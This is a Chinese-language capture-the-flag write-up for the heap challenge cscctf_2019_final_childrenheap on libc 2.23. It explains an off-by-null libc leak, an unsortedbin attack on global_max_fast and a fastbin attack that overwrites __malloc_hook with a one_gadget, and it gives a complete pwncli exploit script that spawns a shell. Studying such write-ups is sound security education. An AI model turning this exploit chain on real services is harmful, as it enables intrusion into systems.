目录



cscctf_2019_final_childrenheap

总结

本题使用​​malopt(1, 0)​​禁用了​​fastbin​​,这种情况下,一般来说有两种解题思路:

  • 方法一:首先​​unsortedbin attack​​攻击​​global_max_fast​​,然后利用​​fastbin attack​​完成利用
  • 方法二:利用​​largebin attack​​或者有时候会利用​​house of storm​​进行任意地址分配

回到本题,由于申请的​​chunk size​​限制在了​​0x10 ~ 0x100​​之间,所以可以使用方法一,因此利用步骤为:

  • ​off by null​​ 泄露​​libc​​地址
  • ​unsortedbin attack​​打​​global_max_fast​
  • ​0x70​​大小的​​fastbin attack​​,劫持​​__malloc_hook​​为​​one_gadget​

题目分析

checksec

​libc​​的版本为​​libc-2.23.so​

[BUCTF] cscctf_2019_final_childrenheap_off-by-null

漏洞点

在​​update​​存在一个​​off by null​​:

[BUCTF] cscctf_2019_final_childrenheap_javascript_02

EXP

#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']


def add(idx, size, data="deadbeef", is_attack=False):
p.sendlineafter(">> ", "1")
p.sendlineafter("Index: ", str(idx))
p.sendlineafter("Size: ", str(size))
if not is_attack:
p.sendafter("Content: ", data)


def update(idx, data):
p.sendlineafter(">> ", "2")
p.sendlineafter("Index: ", str(idx))
p.sendafter("Content: ", data)


def show(idx):
p.sendlineafter(">> ", "3")
p.sendlineafter("Index: ", str(idx))
p.recvuntil("content: ")
m = p.recvline(0)
info(f"Get msg: {m}")
return m


def dele(idx):
p.sendlineafter(">> ", "4")
p.sendlineafter("Index: ", str(idx))

"""procedure
1. off by null to leak
2. unsorted bin attack global_max_fast
2. fastbin attack
"""
add(0, 0x80)
add(1, 0xf8)
add(2, 0xf8)
add(3, 0xf0)
add(4, 0x10)

# off by null
dele(0)
update(2, b"a"*0xf0 + p64(0x290))

# merge
dele(3)

# add
add(0, 0x80)

# leak
m = show(1)
libc_base = u64_ex(m) - 0x3c4b78
log_libc_base_addr(libc_base)
libc.address = libc_base

# house of orange
add(3, 0x10)

global_max_fast_off = 0x3c67f8
payload = flat({
0x18:[0x71, 0, libc_base + global_max_fast_off-0x10],
0x80: [0, 0x21, 0, 0, 0, 0x21]
})
update(1, payload)

add(5, 0x60)

# get a fastbin chunk
dele(5)

payload = flat({
0x18:[0x71, libc.sym['__malloc_hook']-0x23]
})
update(1, payload)

add(5, 0x60)

ags = get_current_one_gadget(libc_base)

add(6, 0x60, flat([0x13*"\x00", ags[2]]))

# trigger malloc_hook to get shell
dele(1)
dele(3)

get_flag_when_get_shell(p)

p.interactive()


效果如下:

[BUCTF] cscctf_2019_final_childrenheap_off-by-null_03

引用与参考

1、​​My Blog​

2、​​Ctf Wiki​

3、​​pwncli​